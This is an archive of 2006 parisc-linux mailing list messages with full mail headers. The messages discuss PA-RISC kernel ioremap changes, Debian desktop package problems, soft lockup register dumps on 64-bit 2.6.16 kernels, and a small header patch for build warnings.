So I don't think I changed anything special for a 32bit kernel if you didn't set CONFIG_HPPA_IOREMAP.

But I did booted yesterday the latest CVS 32bit Kernel on my c3k and it worked fine, so I assume you shouldn't see any problems either...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Thu, 23 Mar 2006 08:54:06 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200603231354.k2NDs6gk001693@hiauly1.hia.nrc.ca>
References: <IWKO0O$128C4158D0A4D8C575A7AB0E1AE3EAAC@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624024 18607 80.91.229.3 (22 Nov 2014 02:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:24 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2006 13:54:09 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx032) with SMTP; 23 Mar 2006 14:54:09 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k2NDs7Sq001694;
	Thu, 23 Mar 2006 08:54:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2NDs6gk001693;
	Thu, 23 Mar 2006 08:54:06 -0500 (EST)
In-Reply-To: <IWKO0O$128C4158D0A4D8C575A7AB0E1AE3EAAC@scarlet.be> from "Joel Soete" at Mar 23, 2006 09:38:48 am
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s9IXLKNUZDI47rHGdWY2OGRxemhmYwEv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23477

> > But I did booted yesterday the latest CVS 32bit Kernel on my c3k and it
> worked fine, so I assume you shouldn't see any problems either...
> > 
> mmm, just about gnome (i don't yet tested iptables) since midle of last dec,
> after an apt-get dist-upgrade, sudenly many gnome based app (firefox,
> gftp-gtk, d4x, gnome-terminal, ...) running on a debian unstable _i386_ did
> segv (not yet fixed ;-( ). Fwiw, this seems to be an 'orphan' pb (i.e. rare):
> for me it only occures when the X server is the one of hpux-1100 and not with
> another linux one (iirc X.org) (or even the solaris one :/).
> Otoh, that give me the opportunity to test kde brotherhood tools (even
> konqueror ;-) runing fine with a Ubuntu (drapper) installed actualy as a
> vserver on my d380.

Generally, I prefer kde but it hasn't been installable on unstable for
several months:

The following packages have unmet dependencies:
  kde: Depends: kdeaddons but it is not going to be installed
       Depends: kdewebdev but it is not going to be installed

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Thu, 23 Mar 2006 09:38:48 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <IWKO0O$128C4158D0A4D8C575A7AB0E1AE3EAAC@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624024 18610 80.91.229.3 (22 Nov 2014 02:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:24 +0000 (UTC)
Cc: "dave" <dave@hiauly1.hia.nrc.ca>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2006 08:38:49 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx080) with SMTP; 23 Mar 2006 09:38:49 +0100
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k2N8cmb24507; 
	Thu, 23 Mar 2006 09:38:48 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qCQXLB8AZDI47rHGdWY2OGRxemhmY8GR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23478

> On Thursday 23 March 2006 00:49, John David Anglin wrote:
> > > > That's why I said I need to fix STIfb.... :-)
> > > 
> > > It's fixed now in CVS (2.6.16-pa2).
> > > Even X11 on stifb with 64bit kernel works...
> > 
> > Did this bug also affect 32bit kernels?  The reason I ask is I
> > had to back out using 2.6.16-pa0 on my c3k.  The most obvious
> > symptoms were fsck failures on reboot, iptables error messages
> > and unreliable behavior of gnome teminal.
> 
> The fixes I did was only related to virtually-mapped vs.
physically-addressed memory regions.
> So I don't think I changed anything special for a 32bit kernel if you d=
idn't
set CONFIG_HPPA_IOREMAP.
> 
> But I did booted yesterday the latest CVS 32bit Kernel on my c3k and it=

worked fine, so I assume you shouldn't see any problems either...
> 
mmm, just about gnome (i don't yet tested iptables) since midle of last d=
ec,
after an apt-get dist-upgrade, sudenly many gnome based app (firefox,
gftp-gtk, d4x, gnome-terminal, ...) running on a debian unstable _i386_ d=
id
segv (not yet fixed ;-( ). Fwiw, this seems to be an 'orphan' pb (i.e. ra=
re):
for me it only occures when the X server is the one of hpux-1100 and not =
with
another linux one (iirc X.org) (or even the solaris one :/).
Otoh, that give me the opportunity to test kde brotherhood tools (even
konqueror ;-) runing fine with a Ubuntu (drapper) installed actualy as a
vserver on my d380.

Hth,
    Joel
  =0A=0A---------------------------------------------------------------=0A=
A free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore in=
fo on http://www.scarlet.be/



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Thu, 23 Mar 2006 19:07:10 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <200603231907.10486.deller@gmx.de>
References: <200603231354.k2NDs6gk001693@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624025 18613 80.91.229.3 (22 Nov 2014 02:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2006 18:07:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 23 Mar 2006 19:07:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 533F47D730;
	Thu, 23 Mar 2006 11:07:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13290-06; Thu, 23 Mar 2006 11:07:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABE9A7D733;
	Thu, 23 Mar 2006 11:07:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 593907D72D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Mar 2006 11:07:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13123-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Mar 2006 11:07:13 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4D1327D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Mar 2006 11:07:13 -0700 (MST)
Original-Received: (qmail invoked by alias); 23 Mar 2006 18:07:12 -0000
Original-Received: from p54AD3AA5.dip0.t-ipconnect.de (EHLO p100.box) [84.173.58.165]
	by mail.gmx.net (mp035) with SMTP; 23 Mar 2006 19:07:12 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200603231354.k2NDs6gk001693@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 19sUdVZhYmYSn+nCanc3JiVKWkZTQVTR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23479

On Thursday 23 March 2006 14:54, John David Anglin wrote:
> Generally, I prefer kde but it hasn't been installable on unstable for
> several months:
> 
> The following packages have unmet dependencies:
>   kde: Depends: kdeaddons but it is not going to be installed
>        Depends: kdewebdev but it is not going to be installed

Hi Dave,

both packages (kdeaddons and kdewebdev) are not required packages....
If the others work it should be equally fine (specially kdelibs, kdebase, kdepim).

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "BUG: soft lockup detected on CPU#0" on recent 64bit
	k-2.6.16 (up or smp)
Date: Fri, 24 Mar 2006 12:30:12 +0100
Lines: 129
Approved: news@gmane.org
Message-ID: <IWMQMC$BFEEA083EC68F0E28220AFDDAC649D49@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624025 18618 80.91.229.3 (22 Nov 2014 02:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:25 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 11:30:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 24 Mar 2006 12:30:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57F897D6D5;
	Fri, 24 Mar 2006 04:30:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19438-03; Fri, 24 Mar 2006 04:30:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33DB97D708;
	Fri, 24 Mar 2006 04:30:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABA847D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 04:30:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18897-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 04:30:15 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9E4F57D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 04:30:14 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id k2OBUCc28120 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 24 Mar 2006 12:30:12 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Br1RZGYeeSE5qr6WZHQhaXN2IGRvb4Dg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23480

Hello pa*,

Just to report some "BUG: soft lockup detected on CPU#0":
on b2k testing k-2.6.16-pa4 64bit up:
BUG: soft lockup detected on CPU#0!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Not tainted
r00-03  0000000000000000 0079dd400000003e 0000000010111bdc 0000000010648c=
e0
r04-07  00000000105cbc20 fffc1302123ce2c3 0000000009a447a4 000000008600c0=
62
r08-11  000000000800000f 0000000010648c70 0000000010574bd0 00000000104cb7=
d8
r12-15  0000000010574d28 00000000104cb820 0000000016568ca8 00000000000000=
00
r16-19  00000000165684f0 00000000144006c8 00000000000477a8 00000000c54000=
00
r20-23  0000000000000000 0000000000000000 000000000000007c 00000000000000=
00
r24-27  0000000000000000 000000000000fa00 000000000079dd40 00000000105cbc=
20
r28-31  fffffffffff0bdc0 0000000000000000 0000000016568e10 00000000000f40=
00
sr0-3   0000000000ab3000 0000000000000000 0000000000000000 0000000000ab30=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000=
000
fr04-07  0000000010defb80 00000000105cbc20 ffffffffffffff9c 0000000000000=
000
fr08-11  fffffffffffffc18 0000000000000000 0000000000000802 0000000010da2=
ac0
fr12-15  0000000410da2ad0 0004739e105cbc20 0000000000000000 5555555555555=
555
fr16-19  5555555555555555 5555555555555555 5555555555555555 5555555555555=
555
fr20-23  000000001018a420 5555555555555555 000000000000007c 0000000000000=
000
fr24-27  0000000000000000 3fe0000000000000 412e848000000000 bec7de009e9e8=
cec
fr28-31  036583df286abc0a 2fe9bb4be37ae44c 036583df00000000 cb458fb500000=
802

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010111c18 0000000010=
111c1c
 IIR: 0b850a25    ISR: 0000000000000000  IOR: 0000000010648868
 CPU:        0   CR30: 0000000016568000 CR31: 0000000010584000
 ORIG_R28: 00000000104cb7d8
 IAOQ[0]: do_gettimeofday+0x150/0x1a0
 IAOQ[1]: do_gettimeofday+0x154/0x1a0
 RP(r2): do_gettimeofday+0x114/0x1a0

also noticed on n4k runing k-2.6.16-pa0 64bit smp kernel:
BUG: soft lockup detected on CPU#0!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000001011101111110000001111 Not tainted
r00-03  0000000000000000 0000000010584f20 000000001015aebc 000000008db449=
f0
r04-07  000000001057af20 000000001051d040 000000000000000e 00000000000000=
01
r08-11  000000008f2cb738 00002d1426893f20 0000000000000001 00000000000000=
01
r12-15  000000001052b5d8 000000001048d728 000000008b1bc3b0 000000008b1bc6=
f8
r16-19  000000008b1bc3b0 000000001051d040 0000000000000000 00000000000000=
00
r20-23  0000000000372b98 0000000000000000 0000000000000001 00000000000000=
00
r24-27  000000008f2cb738 0000000000000001 000000001051d040 000000001057af=
20
r28-31  0000000000000000 000000008b1bcc20 000000008b1bcc50 00000000000000=
00
sr0-3   00000000006e4800 00000000006e4800 0000000000000000 00000000006e48=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000=
000
fr04-07  000000008f0276c0 000000001057af20 ffffffffffffff9c 00000000105db=
000
fr08-11  00000000101ac718 00000000105db000 fffffffffffffc18 0000000000000=
000
fr12-15  c002c4c800000802 ffffffff1299aac0 000000001299aad0 000000001057a=
f20
fr16-19  0000000000000000 00000000105d62a8 00000000105d62a8 00000000ff800=
730
fr20-23  00000000101ad170 0000000000000000 000000000000a105 0000000000000=
008
fr24-27  0000000000000000 000000001be51d00 00000000105d62a8 00000000104f1=
3e8
fr28-31  000f41fa42806500 fffffffffffffc18 0000000000000000 0000000000000=
802

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001010e728 0000000010=
10e718
 IIR: 0f48109c    ISR: 0000000000000080  IOR: 0000000000000002
 CPU:        0   CR30: 000000008b1bc000 CR31: 000000001053c000
 ORIG_R28: 000000001013f77c
 IAOQ[0]: _read_lock+0x18/0x30
 IAOQ[1]: _read_lock+0x8/0x30
 RP(r2): send_group_sig_info+0x3c/0xb0

(on this system also with a previous k-2.6.16-rc4-pa1-n4kmp without activ=
ity
then waiting my request ;-) )

Hth,
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a small hunk to cleanup 2 build warning?
Date: Fri, 24 Mar 2006 15:41:07 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <IWMZGK$A7E56C1F2E8CACD0CB61C6EEBA1DB197@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624025 18622 80.91.229.3 (22 Nov 2014 02:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:25 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 14:41:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 24 Mar 2006 15:41:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69E697D6F4;
	Fri, 24 Mar 2006 07:41:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21784-01; Fri, 24 Mar 2006 07:41:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A32B7D705;
	Fri, 24 Mar 2006 07:41:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 568427D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 07:41:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 07:41:11 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 46C0A7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 07:41:11 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k2OEf8x03345 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 24 Mar 2006 15:41:08 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q3FBNNACZCEXvbGPamwhd2FwIGhpZcYz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23481

Hi pa*,

those 2 warning crossed my look during the build of n4k (64bit) smp kerne=
l (in
a loop to stress it a bit):
  CC      kernel/compat.o
/usr/src/linux-2.6.16-pa4/kernel/compat.c: In function 'compat_sys_timer_=
create':
/usr/src/linux-2.6.16-pa4/kernel/compat.c:531: warning: implicit declarat=
ion
of function 'get_compat_sigevent'
[...]
  CC      ipc/compat_mq.o
/usr/src/linux-2.6.16-pa4/ipc/compat_mq.c: In function 'compat_sys_mq_not=
ify':
/usr/src/linux-2.6.16-pa4/ipc/compat_mq.c:113: warning: implicit declarat=
ion
of function 'get_compat_sigevent'
[...]

imho this simple hunk could be helpfull:
--- ./include/linux/compat_siginfo.h.Orig       2006-03-24 14:04:10.00000=
0000
+0100
+++ ./include/linux/compat_siginfo.h    2006-03-24 14:24:49.000000000 +01=
00
@@ -171,6 +171,9 @@
 
 #endif /* !HAVE_ARCH_COMPAT_COPY_SIGINFO */
 
+extern int get_compat_sigevent(struct sigevent *event,
+                       const struct compat_sigevent __user *u_event);
+
 extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, stru=
ct
siginfo *from);
 extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_sigi=
nfo_t
__user *from);
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

If Ok can you ci?

TIA,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa clone() glibc proposal (1/3)
Date: Fri, 24 Mar 2006 10:52:57 +0100
Lines: 747
Approved: news@gmane.org
Message-ID: <IWMM49$513E19C6ADC2A088CC019BF51611E013@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
